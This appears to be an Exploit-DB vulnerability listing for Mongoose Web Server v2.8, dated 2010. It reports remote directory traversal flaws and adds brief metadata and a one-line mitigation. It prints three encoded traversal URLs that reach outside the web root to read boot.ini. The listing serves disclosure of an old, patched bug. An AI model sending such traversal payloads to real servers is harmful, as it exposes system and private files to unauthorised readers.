Mongoose Web Server v2.8 Multiple Directory Traversal Exploits

vendor:

Mongoose Web Server

by:

Dr_IDE

7,5

CVSS

HIGH

Directory Traversal

CWE

Product Name: Mongoose Web Server

Affected Version From: 2.8

Affected Version To: 2.8

Patch Exists: YES

Related CWE: N/A

CPE: a:mongoose:mongoose_web_server

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7

2010

Mongoose Web Server v2.8 Multiple Directory Traversal Exploits

Mongoose v2.8 is a Windows based HTTP server. This is the latest version of the application available. Mongoose v2.8 is vulnerable to many remote directory traversal attacks. Technical details include http://172.16.2.102//..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini, http://172.16.2.102/..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini, and http://172.16.2.102/..%5C..%5Cboot.ini.

Mitigation:

Ensure that the application is not vulnerable to directory traversal attacks by validating user input and sanitizing it.

Source

Exploit-DB raw data:

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# Mongoose Web Server v2.8 Multiple Directory Traversal Exploits
# Found By:             Dr_IDE
# Date:                 Apr. 20, 2010
# Tested On:            Windows 7
# Download:             http://code.google.com/p/mongoose/downloads/list
#
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- Description -

Mongoose v2.8 is a Windows based HTTP server. This is the latest
version of the application available.

Mongoose v2.8 is vulnerable to many  remote directory traversal attacks.

- Technical Details -
http://172.16.2.102//..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini
http://172.16.2.102/..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
http://172.16.2.102/..%5C..%5Cboot.ini

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